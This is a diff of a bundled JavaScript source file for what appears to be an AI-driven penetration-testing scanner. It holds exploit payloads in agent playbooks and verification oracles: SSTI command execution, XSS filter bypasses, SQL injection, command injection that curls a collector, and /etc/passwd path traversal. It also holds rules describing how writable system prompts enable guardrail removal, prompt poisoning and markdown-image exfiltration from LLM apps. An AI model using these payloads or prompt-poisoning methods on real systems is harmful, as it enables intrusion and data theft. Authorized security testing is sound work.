+ - Try {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
673
+ - If blocked, try: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}`,
674
+ idor: `## IDOR Playbook
675
+ - Login with provided/default creds first
676
+ - Find any URL with an ID parameter: /api/users/1, /profile?id=1, /edit/1
677
+ - Try incrementing/decrementing IDs: 0, 2, 3, 999, admin
678
+ - Try changing user identifiers in POST body: user_id, owner_id, account_id
679
+ - Check both GET and POST/PUT endpoints for same resource
680
+ - Try negative IDs, very large IDs, string values where integers expected
681
+ - Check indirect IDOR: change ID in one endpoint, observe result in another`,
682
+ access_control: `## Broken Access Control Playbook (BOLA / IDOR / BFLA \u2014 multi-identity)
683
+
684
+ This is the highest-impact API vuln class (OWASP API #1 & #5) and is ONLY
685
+ testable with \u22652 identities. If the scan configured multiple identities, use
686
+ the **access_control_probe** tool \u2014 it captures a resource as the authorized
687
+ identity, replays the SAME request as another identity, and diffs the result.
688
+
689
+ ### Horizontal (BOLA / IDOR) \u2014 read another user's object
690
+ 1. As identity A, find an object you legitimately own: /api/users/{A_id},
691
+ /api/orders/{A_order}, /account/{A_id}/settings, ?id={A_id}.
692
+ 2. Call \`access_control_probe\` with that URL, baseline_identity = A,
693
+ compare_identities = [B], expect_denied = true.
694
+ 3. If B gets a 2xx with the SAME body A saw \u2192 confirmed BOLA. The tool returns
695
+ A-vs-B request/response evidence \u2014 pass it straight into save_finding.
696
+ 4. Also try B's own id incremented/decremented to A's id in the path AND body
697
+ (user_id, owner_id, account_id) \u2014 IDOR often hides in the POST/PUT body.
698
+
699
+ ### Vertical (BFLA) \u2014 low-priv reaching admin-only function
700
+ 1. As the admin identity, hit an admin-only endpoint (/admin, /api/admin/users,
701
+ role-changing POSTs).
702
+ 2. \`access_control_probe\` baseline_identity = admin, compare_identities =
703
+ [low-priv user, anonymous], expect_denied = true.
704
+ 3. A 2xx for the low-priv / anonymous identity = vertical privilege escalation.
705
+
706
+ ### Cross-tenant writes and multi-step workflows
707
+ 1. Use a disposable resource and a fresh marker within the approved scope.
708
+ 2. Call \`access_control_workflow\` with the owner and actor identities,
709
+ an owner-visible JSON observation, the actor's ordered requests, and
710
+ \`allow_mutation: true\`.
711
+ 3. Confirm only when the owner-visible state changes to the expected marker.
712
+ A 2xx/no-op is not proof, and a 403 can still hide a committed state change.
713
+ 4. Keep before/after and per-step evidence. Missing observations, transport
714
+ errors, or a marker already present before the attempt are inconclusive.
715
+
716
+ ### Tips
717
+ - The HTTP tools are now stateful: a session cookie captured via submit_form is
718
+ auto-re-injected, so you do NOT need manual \`curl -c/-b\` jars.
719
+ - A 200 alone isn't proof \u2014 the probe's body-similarity diff is what confirms
720
+ the SAME resource crossed the boundary. Save findings only on a real diff.`,
721
+ xss: `## XSS Playbook
722
+
723
+ ### Step 1: Identify Injection Points
724
+ - Use curl to fetch every page with forms or URL parameters
725
+ - Look for reflected output: inject a unique canary string (e.g. "osec123xss") and check if it appears unescaped in the response HTML
726
+ - Check Content-Type headers \u2014 XSS only works when response is text/html
727
+ - Note which characters are reflected vs stripped: < > " ' / \` ( ) = on
728
+
729
+ ### Step 2: Test with Basic Payloads via curl
730
+ - Reflected: <script>alert(1)</script> in all params (GET and POST)
731
+ - Event handlers: <img src=x onerror=alert(1)>, <svg onload=alert(1)>
732
+ - Stored XSS: inject in forms that save data (comments, profiles, settings), then visit the page where it renders
733
+ - DOM XSS: look for document.location, innerHTML, eval, document.write in client JS source
734
+
735
+ ### Step 3: Confirm XSS with the Browser Tool (CRITICAL)
736
+ curl CANNOT execute JavaScript \u2014 you MUST use the browser tool to confirm XSS fires.
737
+ 1. browser action=navigate url=TARGET_URL_WITH_PAYLOAD
738
+ 2. Check the "dialogs" array in the response \u2014 if it contains "alert: 1" or similar, XSS is CONFIRMED
739
+ 3. If no dialog fires, try: browser action=evaluate script="document.querySelector('img[onerror]') !== null"
740
+ 4. For stored XSS: first inject via curl/submit_form, then navigate with browser to the render page
741
+ 5. For DOM XSS: browser action=navigate to the page, then action=evaluate to check if payload executed
742
+
743
+ ### Step 4: WAF/Filter Bypass Payloads
744
+ If basic payloads are blocked, try these bypasses IN ORDER:
745
+
746
+ **Angle brackets stripped/encoded:**
747
+ - " onfocus=alert(1) autofocus="
748
+ - ' onfocus='alert(1)' autofocus='
749
+ - " autofocus onfocus=alert(1)//
750
+
751
+ **script tag blocked:**
752
+ - <img src=x onerror=alert(1)>
753
+ - <svg/onload=alert(1)>
754
+ - <details open ontoggle=alert(1)>
755
+ - <body onload=alert(1)>
756
+ - <marquee onstart=alert(1)>
757
+ - <video><source onerror=alert(1)>
758
+ - <input onfocus=alert(1) autofocus>
759
+
760
+ **alert() blocked:**
761
+ - <img src=x onerror=confirm(1)>
762
+ - <img src=x onerror=prompt(1)>
763
+ - <img src=x onerror=print()>
764
+ - <img src=x onerror=window['al'+'ert'](1)>
765
+
766
+ **Encoding bypasses:**
767
+ - URL encoding: %3Cscript%3Ealert(1)%3C/script%3E
768
+ - Double URL encoding: %253Cscript%253Ealert(1)%253C%252Fscript%253E
769
+ - HTML entities: &lt;script&gt; (check if decoded server-side)
770
+ - Unicode: \\u003cscript\\u003ealert(1)\\u003c/script\\u003e
771
+ - Mixed case: <ScRiPt>alert(1)</ScRiPt>
772
+ - Null bytes: <scr%00ipt>alert(1)</script>
773
+
774
+ **Attribute context escapes:**
775
+ - " onmouseover=alert(1) x="
776
+ - '-alert(1)-'
777
+ - javascript:alert(1) (in href/src attributes)
260
778
  - data:text/html,<script>alert(1)</script> (in iframe src)
261
779
 
262
780
  **Template/framework specific:**
@@ -1378,607 +1896,148 @@ var INDICATORS = [
1378
1896
  /gc\.collect\(/i,
1379
1897
  /garbage collector/i,
1380
1898
  /\.rs\b/,
1381
- /\bcargo\b/i,
1382
- /\bsegfault\b/i,
1383
- /sandbox escape/i
1384
- ]
1385
- }
1386
- ];
1387
- function detectPlaybooks(toolResultTexts) {
1388
- const combined = toolResultTexts.join("\n");
1389
- const scores = /* @__PURE__ */ new Map();
1390
- for (const indicator of INDICATORS) {
1391
- let matchCount = 0;
1392
- for (const pattern of indicator.patterns) {
1393
- if (pattern.test(combined)) {
1394
- matchCount++;
1395
- }
1396
- }
1397
- if (matchCount >= 2) {
1398
- scores.set(indicator.type, matchCount);
1399
- }
1400
- }
1401
- return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
1402
- }
1403
- function buildPlaybookInjection(types) {
1404
- const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
1405
- if (sections.length === 0)
1406
- return "";
1407
- return [
1408
- "## Dynamic Playbook Injection",
1409
- "",
1410
- "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
1411
- "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
1412
- "",
1413
- ...sections
1414
- ].join("\n");
1415
- }
1416
- var PROMPT_LAYER_IMPACT_RULES = [
1417
- {
1418
- impact: "guardrail_removal",
1419
- patterns: [
1420
- /\bguardrail/i,
1421
- /safety[_\s-]?settings?/i,
1422
- /\bmoderation\b/i,
1423
- /\bpolicy\b/i,
1424
- /\brefus/i,
1425
- /\bnever (?:reveal|disclose|share|answer)/i,
1426
- /you must (?:refuse|not)/i,
1427
- /content[_\s-]?filter/i
1428
- ]
1429
- },
1430
- {
1431
- impact: "output_channel_exfil",
1432
- patterns: [
1433
- /output[_\s-]?(?:channel|template|format)/i,
1434
- /webhook/i,
1435
- /\bcallback\b/i,
1436
- /markdown/i,
1437
- /!\[[^\]]*\]\(https?:\/\//,
1438
- /append .*(?:url|link|http)/i
1439
- ]
1440
- },
1441
- {
1442
- impact: "model_config_tamper",
1443
- patterns: [
1444
- /model[_\s-]?(?:config|name|id)/i,
1445
- /\btemperature\b/i,
1446
- /\btop[_\s-]?p\b/i,
1447
- /\bmax[_\s-]?tokens\b/i,
1448
- /tool[_\s-]?(?:config|choice|s)\b/i,
1449
- /function[_\s-]?(?:config|call)/i,
1450
- /assistant[_\s-]?config/i,
1451
- /agent[_\s-]?config/i
1452
- ]
1453
- },
1454
- {
1455
- impact: "prompt_poisoning",
1456
- patterns: [
1457
- /system[_\s-]?prompt/i,
1458
- /prompt[_\s-]?template/i,
1459
- /\bprompts?\b/i,
1460
- /\binstructions?\b/i,
1461
- /\bpersona\b/i,
1462
- /you are (?:a|an|now|the)/i
1463
- ]
1464
- }
1465
- ];
1466
- function looksLikePromptLayer(haystack) {
1467
- return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
1468
- }
1469
- function classifyPromptLayerImpact(asset) {
1470
- const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
1471
- const isPromptLayer = looksLikePromptLayer(haystack);
1472
- if (!isPromptLayer) {
1473
- return {
1474
- isPromptLayer: false,
1475
- impacts: [],
1476
- severity: "info",
1477
- narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
1478
- };
1479
- }
1480
- const impacts = [];
1481
- for (const rule of PROMPT_LAYER_IMPACT_RULES) {
1482
- if (rule.patterns.some((p) => p.test(haystack))) {
1483
- impacts.push(rule.impact);
1484
- }
1485
- }
1486
- if (!asset.writable) {
1487
- return {
1488
- isPromptLayer: true,
1489
- impacts: [],
1490
- severity: "low",
1491
- narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
1492
- };
1493
- }
1494
- const reRead = asset.reReadAtInference === true;
1495
- const severity = reRead ? "high" : "low";
1496
- const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
1497
- const narrative = [
1498
- `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
1499
- reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
1500
- `Impact class(es): ${impacts.join(", ")}.`,
1501
- ...impactLabels.map((l) => `- ${l}`),
1502
- "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
1503
- ].join("\n");
1504
- return { isPromptLayer: true, impacts, severity, narrative };
1505
- }
1506
- var IMPACT_NARRATIVE = {
1507
- prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
1508
- guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
1509
- output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
1510
- model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
1511
- };
1512
- function describeAsset(asset) {
1513
- const loc = [asset.table, asset.column].filter(Boolean).join(".");
1514
- return loc || "unnamed asset";
1515
- }
1516
-
1517
- // packages/core/dist/triage/oracle-runtime.js
1518
- import { randomUUID } from "node:crypto";
1519
- import { createServer } from "node:http";
1520
-
1521
- // packages/core/dist/triage/oracles.js
1522
- var DEFAULT_TIMEOUT_MS = 1e4;
1523
- function notVerifiable(reason) {
1524
- return { verified: false, confidence: 0, evidence: "", reason };
1525
- }
1526
- function verified(evidence, confidence = 1) {
1527
- return { verified: true, confidence, evidence, reason: "" };
1528
- }
1529
- function parseRequest(requestText, fallbackTarget) {
1530
- const parsed = {
1531
- method: "GET",
1532
- url: fallbackTarget,
1533
- headers: {},
1534
- body: "",
1535
- params: {}
1536
- };
1537
- const parseFallbackQuery = () => {
1538
- try {
1539
- const u = new URL(parsed.url);
1540
- u.searchParams.forEach((v, k) => {
1541
- parsed.params[k] = v;
1542
- });
1543
- } catch {
1544
- }
1545
- };
1546
- if (!requestText) {
1547
- parseFallbackQuery();
1548
- return parsed;
1549
- }
1550
- const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
1551
- if (curlUrl)
1552
- parsed.url = curlUrl[1].replace(/['"]$/, "");
1553
- const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
1554
- if (curlMethod)
1555
- parsed.method = curlMethod[1].toUpperCase();
1556
- const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
1557
- if (curlData)
1558
- parsed.body = curlData[1];
1559
- const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
1560
- if (startLine) {
1561
- parsed.method = startLine[1].toUpperCase();
1562
- const path = startLine[2];
1563
- const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
1564
- if (hostHeader) {
1565
- const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
1566
- parsed.url = `${scheme}://${hostHeader[1]}${path}`;
1567
- } else if (path.startsWith("/")) {
1568
- try {
1569
- const base = new URL(fallbackTarget);
1570
- parsed.url = `${base.origin}${path}`;
1571
- } catch {
1572
- parsed.url = path;
1573
- }
1574
- } else {
1575
- parsed.url = path;
1576
- }
1577
- const sep = requestText.indexOf("\n\n");
1578
- if (sep >= 0)
1579
- parsed.body = requestText.slice(sep + 2).trim();
1580
- }
1581
- try {
1582
- const u = new URL(parsed.url);
1583
- u.searchParams.forEach((v, k) => {
1584
- parsed.params[k] = v;
1585
- });
1586
- } catch {
1587
- }
1588
- if (parsed.body && parsed.body.includes("=") && !parsed.body.startsWith("{")) {
1589
- for (const pair of parsed.body.split("&")) {
1590
- const [k, v] = pair.split("=");
1591
- if (k)
1592
- parsed.params[decodeURIComponent(k)] = decodeURIComponent(v ?? "");
1593
- }
1594
- }
1595
- return parsed;
1596
- }
1597
- function buildProbeRequest(parsed, newParams) {
1598
- const merged = { ...parsed.params, ...newParams };
1599
- const method = parsed.method || "GET";
1600
- const init = { method, headers: parsed.headers };
1601
- if (method === "GET" || method === "DELETE") {
1602
- try {
1603
- const u = new URL(parsed.url);
1604
- Array.from(u.searchParams.keys()).forEach((k) => u.searchParams.delete(k));
1605
- for (const [k, v] of Object.entries(merged))
1606
- u.searchParams.set(k, v);
1607
- return { url: u.toString(), init };
1608
- } catch {
1609
- return { url: parsed.url, init };
1610
- }
1611
- }
1612
- init.body = new URLSearchParams(merged).toString();
1613
- init.headers = {
1614
- "content-type": "application/x-www-form-urlencoded",
1615
- ...parsed.headers
1616
- };
1617
- return { url: parsed.url, init };
1618
- }
1619
- async function timedFetch(url, init, timeoutMs = DEFAULT_TIMEOUT_MS) {
1620
- const controller = new AbortController();
1621
- const timer = setTimeout(() => controller.abort(), timeoutMs);
1622
- const start = Date.now();
1623
- try {
1624
- const res = await fetch(url, { ...init, signal: controller.signal });
1625
- const body = await res.text();
1626
- return { status: res.status, body, latencyMs: Date.now() - start };
1627
- } catch {
1628
- return null;
1629
- } finally {
1630
- clearTimeout(timer);
1631
- }
1632
- }
1633
- var SQL_ERROR_PATTERNS = [
1634
- // MySQL
1635
- /You have an error in your SQL syntax/i,
1636
- /\bmysql_fetch_/i,
1637
- /\bMySQLSyntaxErrorException\b/i,
1638
- /\bMariaDB\b.*?\bsyntax\b/i,
1639
- // PostgreSQL
1640
- /\bPG::SyntaxError\b/i,
1641
- /\bpq:\s+syntax error\b/i,
1642
- /\bpsql:.*?ERROR:/i,
1643
- /unterminated quoted string/i,
1644
- // SQLite
1645
- /\bSQLite3::/i,
1646
- /\bsqlite3\.OperationalError\b/i,
1647
- /near\s+".+?":\s*syntax error/i,
1648
- // MSSQL
1649
- /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
1650
- /\bUnclosed quotation mark\b/i,
1651
- /\bOLE DB.*?SQL Server\b/i,
1652
- // Oracle
1653
- /\bORA-\d{4,5}\b/i,
1654
- /\bquoted string not properly terminated\b/i
1655
- ];
1656
- function detectSqlError(body) {
1657
- for (const re of SQL_ERROR_PATTERNS) {
1658
- const m = body.match(re);
1659
- if (m)
1660
- return m[0];
1661
- }
1662
- return null;
1663
- }
1664
- function pickInjectableParam(parsed) {
1665
- for (const [k, v] of Object.entries(parsed.params)) {
1666
- if (v && v.length > 0)
1667
- return { key: k, value: v };
1668
- }
1669
- const first = Object.keys(parsed.params)[0];
1670
- if (first)
1671
- return { key: first, value: parsed.params[first] ?? "" };
1672
- return null;
1673
- }
1674
- async function verifySqli(finding, target) {
1675
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1676
- const victim = pickInjectableParam(parsed);
1677
- if (!victim)
1678
- return notVerifiable("no injectable parameter found in finding evidence");
1679
- const signals = [];
1680
- const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
1681
- if (!baseline)
1682
- return notVerifiable("baseline request failed");
1683
- const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
1684
- const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
1685
- if (trueProbe && falseProbe && trueProbe.body.length > 0) {
1686
- const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
1687
- if (delta > 0.1) {
1688
- signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
1689
- }
1690
- }
1691
- const timePayloads = [
1692
- `${victim.value}' AND SLEEP(3)-- -`,
1693
- `${victim.value}'; SELECT pg_sleep(3)-- -`,
1694
- `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
1695
- ];
1696
- for (const payload of timePayloads) {
1697
- const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
1698
- if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
1699
- signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
1700
- break;
1701
- }
1702
- }
1703
- const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
1704
- if (errProbe) {
1705
- const err = detectSqlError(errProbe.body);
1706
- if (err)
1707
- signals.push(`sql_error: ${err}`);
1708
- }
1709
- if (signals.length >= 2) {
1710
- return verified(signals.join(" | "));
1711
- }
1712
- return {
1713
- verified: false,
1714
- confidence: signals.length === 1 ? 0.4 : 0,
1715
- evidence: signals.join(" | "),
1716
- reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
1717
- };
1718
- }
1719
- async function verifyReflectedXss(finding, target) {
1720
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1721
- const victim = pickInjectableParam(parsed);
1722
- if (!victim)
1723
- return notVerifiable("no injectable parameter found in finding evidence");
1724
- const token = `osec_${randomUUID().replace(/-/g, "")}`;
1725
- const payload = `<script>alert('${token}')</script>`;
1726
- const { url, init } = buildProbeRequest(parsed, {
1727
- [victim.key]: payload
1728
- });
1729
- const probe = await timedFetch(url, init);
1730
- const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
1731
- let playwright = null;
1732
- try {
1733
- playwright = await import("playwright");
1734
- } catch {
1735
- }
1736
- if (playwright) {
1737
- let browser = null;
1738
- try {
1739
- browser = await playwright.chromium.launch({ headless: true });
1740
- const page = await browser.newPage();
1741
- let dialogMessage = "";
1742
- page.on("dialog", async (dialog) => {
1743
- if (dialog.type() === "alert" && dialog.message() === token) {
1744
- dialogMessage = token;
1745
- }
1746
- await dialog.dismiss().catch(() => {
1747
- });
1748
- });
1749
- let replayed = false;
1750
- await page.route((candidate) => candidate.href === new URL(url).href, async (route) => {
1751
- const request = route.request();
1752
- if (!replayed && request.isNavigationRequest() && request.frame() === page.mainFrame()) {
1753
- replayed = true;
1754
- await route.continue({
1755
- method: init.method,
1756
- headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
1757
- ...typeof init.body === "string" ? { postData: init.body } : {}
1758
- });
1759
- } else {
1760
- await route.continue();
1761
- }
1762
- });
1763
- await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
1764
- await page.waitForTimeout(500);
1765
- await browser.close();
1766
- browser = null;
1767
- if (dialogMessage === token) {
1768
- return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
1769
- }
1770
- } catch (err) {
1771
- if (browser)
1772
- await browser.close().catch(() => {
1773
- });
1774
- return {
1775
- verified: false,
1776
- confidence: htmlReflected ? 0.4 : 0,
1777
- evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
1778
- reason: `playwright navigation failed: ${err.message}`
1779
- };
1780
- }
1781
- }
1782
- if (htmlReflected) {
1783
- return {
1784
- verified: false,
1785
- confidence: 0.5,
1786
- evidence: `html_reflection: payload reflected unencoded in response body`,
1787
- reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
1788
- };
1789
- }
1790
- return notVerifiable("no xss reflection or alert captured");
1791
- }
1792
- async function withCollector(nonce, timeoutMs, work) {
1793
- const port = 8888 + Math.floor(Math.random() * 1e3);
1794
- let hit = false;
1795
- const server = createServer((req, res) => {
1796
- if ((req.url ?? "").includes(nonce))
1797
- hit = true;
1798
- res.writeHead(200);
1799
- res.end("ok");
1800
- });
1801
- await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
1802
- const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
1803
- const waitForHit = async () => {
1804
- const deadline = Date.now() + timeoutMs;
1805
- while (Date.now() < deadline) {
1806
- if (hit)
1807
- return true;
1808
- await new Promise((r) => setTimeout(r, 100));
1809
- }
1810
- return hit;
1811
- };
1812
- try {
1813
- return await work(collectorUrl, waitForHit);
1814
- } finally {
1815
- await new Promise((resolve) => server.close(() => resolve()));
1899
+ /\bcargo\b/i,
1900
+ /\bsegfault\b/i,
1901
+ /sandbox escape/i
1902
+ ]
1816
1903
  }
1817
- }
1818
- async function verifySsrf(finding, target) {
1819
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1820
- const victim = pickInjectableParam(parsed);
1821
- if (!victim)
1822
- return notVerifiable("no injectable parameter found in finding evidence");
1823
- const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
1824
- return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
1825
- const { url, init } = buildProbeRequest(parsed, {
1826
- [victim.key]: collectorUrl
1827
- });
1828
- const probe = await timedFetch(url, init, 8e3);
1829
- if (!probe)
1830
- return notVerifiable("ssrf probe failed to send");
1831
- const hit = await waitForHit();
1832
- if (hit) {
1833
- return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
1834
- }
1835
- return {
1836
- verified: false,
1837
- confidence: 0,
1838
- evidence: "",
1839
- reason: `collector never received a request for nonce=${nonce}`
1840
- };
1841
- });
1842
- }
1843
- async function verifyRce(finding, target) {
1844
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1845
- const victim = pickInjectableParam(parsed);
1846
- if (!victim)
1847
- return notVerifiable("no injectable parameter found in finding evidence");
1848
- const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
1849
- return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
1850
- const payloads = [
1851
- `${victim.value};curl ${collectorUrl}`,
1852
- `${victim.value}|curl ${collectorUrl}`,
1853
- `${victim.value}$(curl ${collectorUrl})`,
1854
- `${victim.value}\`curl ${collectorUrl}\``,
1855
- `${victim.value}&&curl ${collectorUrl}`
1856
- ];
1857
- for (const payload of payloads) {
1858
- const { url, init } = buildProbeRequest(parsed, {
1859
- [victim.key]: payload
1860
- });
1861
- await timedFetch(url, init, 8e3);
1904
+ ];
1905
+ function detectPlaybooks(toolResultTexts) {
1906
+ const combined = toolResultTexts.join("\n");
1907
+ const scores = /* @__PURE__ */ new Map();
1908
+ for (const indicator of INDICATORS) {
1909
+ let matchCount = 0;
1910
+ for (const pattern of indicator.patterns) {
1911
+ if (pattern.test(combined)) {
1912
+ matchCount++;
1913
+ }
1862
1914
  }
1863
- const hit = await waitForHit();
1864
- if (hit)
1865
- return verified(`collector hit: nonce=${nonce}`);
1866
- return {
1867
- verified: false,
1868
- confidence: 0,
1869
- evidence: "",
1870
- reason: `collector never received a request for nonce=${nonce}`
1871
- };
1872
- });
1873
- }
1874
- var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
1875
- async function verifyPathTraversal(finding, target) {
1876
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1877
- const victim = pickInjectableParam(parsed);
1878
- if (!victim)
1879
- return notVerifiable("no injectable parameter found in finding evidence");
1880
- const payloads = [
1881
- "../../../../etc/passwd",
1882
- "..%2f..%2f..%2f..%2fetc%2fpasswd",
1883
- "..%252f..%252f..%252fetc%252fpasswd",
1884
- "../../../../etc/passwd%00",
1885
- "....//....//....//etc/passwd",
1886
- "/etc/passwd"
1887
- ];
1888
- for (const payload of payloads) {
1889
- const { url, init } = buildProbeRequest(parsed, {
1890
- [victim.key]: payload
1891
- });
1892
- const probe = await timedFetch(url, init);
1893
- if (!probe)
1894
- continue;
1895
- const m = probe.body.match(PASSWD_PATTERN);
1896
- if (m) {
1897
- return verified(`payload=${payload} response contained "${m[0]}"`);
1915
+ if (matchCount >= 2) {
1916
+ scores.set(indicator.type, matchCount);
1898
1917
  }
1899
1918
  }
1900
- return notVerifiable("no /etc/passwd signature in any traversal probe response");
1919
+ return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
1901
1920
  }
1902
- async function verifyIdor(finding, target) {
1903
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1904
- let idKey = null;
1905
- let idValue = 0;
1906
- for (const [k, v] of Object.entries(parsed.params)) {
1907
- if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
1908
- idKey = k;
1909
- idValue = parseInt(v, 10);
1910
- break;
1911
- }
1921
+ function buildPlaybookInjection(types) {
1922
+ const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
1923
+ if (sections.length === 0)
1924
+ return "";
1925
+ return [
1926
+ "## Dynamic Playbook Injection",
1927
+ "",
1928
+ "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
1929
+ "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
1930
+ "",
1931
+ ...sections
1932
+ ].join("\n");
1933
+ }
1934
+ var PROMPT_LAYER_IMPACT_RULES = [
1935
+ {
1936
+ impact: "guardrail_removal",
1937
+ patterns: [
1938
+ /\bguardrail/i,
1939
+ /safety[_\s-]?settings?/i,
1940
+ /\bmoderation\b/i,
1941
+ /\bpolicy\b/i,
1942
+ /\brefus/i,
1943
+ /\bnever (?:reveal|disclose|share|answer)/i,
1944
+ /you must (?:refuse|not)/i,
1945
+ /content[_\s-]?filter/i
1946
+ ]
1947
+ },
1948
+ {
1949
+ impact: "output_channel_exfil",
1950
+ patterns: [
1951
+ /output[_\s-]?(?:channel|template|format)/i,
1952
+ /webhook/i,
1953
+ /\bcallback\b/i,
1954
+ /markdown/i,
1955
+ /!\[[^\]]*\]\(https?:\/\//,
1956
+ /append .*(?:url|link|http)/i
1957
+ ]
1958
+ },
1959
+ {
1960
+ impact: "model_config_tamper",
1961
+ patterns: [
1962
+ /model[_\s-]?(?:config|name|id)/i,
1963
+ /\btemperature\b/i,
1964
+ /\btop[_\s-]?p\b/i,
1965
+ /\bmax[_\s-]?tokens\b/i,
1966
+ /tool[_\s-]?(?:config|choice|s)\b/i,
1967
+ /function[_\s-]?(?:config|call)/i,
1968
+ /assistant[_\s-]?config/i,
1969
+ /agent[_\s-]?config/i
1970
+ ]
1971
+ },
1972
+ {
1973
+ impact: "prompt_poisoning",
1974
+ patterns: [
1975
+ /system[_\s-]?prompt/i,
1976
+ /prompt[_\s-]?template/i,
1977
+ /\bprompts?\b/i,
1978
+ /\binstructions?\b/i,
1979
+ /\bpersona\b/i,
1980
+ /you are (?:a|an|now|the)/i
1981
+ ]
1912
1982
  }
1913
- if (!idKey) {
1914
- for (const [k, v] of Object.entries(parsed.params)) {
1915
- if (/^\d+$/.test(v)) {
1916
- idKey = k;
1917
- idValue = parseInt(v, 10);
1918
- break;
1919
- }
1920
- }
1983
+ ];
1984
+ function looksLikePromptLayer(haystack) {
1985
+ return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
1986
+ }
1987
+ function classifyPromptLayerImpact(asset) {
1988
+ const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
1989
+ const isPromptLayer = looksLikePromptLayer(haystack);
1990
+ if (!isPromptLayer) {
1991
+ return {
1992
+ isPromptLayer: false,
1993
+ impacts: [],
1994
+ severity: "info",
1995
+ narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
1996
+ };
1921
1997
  }
1922
- if (!idKey)
1923
- return notVerifiable("no numeric id-like parameter to mutate");
1924
- const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
1925
- if (!baseline)
1926
- return notVerifiable("baseline request failed");
1927
- const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
1928
- const hits = [];
1929
- for (const variant of variants) {
1930
- if (variant === String(idValue))
1931
- continue;
1932
- const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
1933
- if (!probe)
1934
- continue;
1935
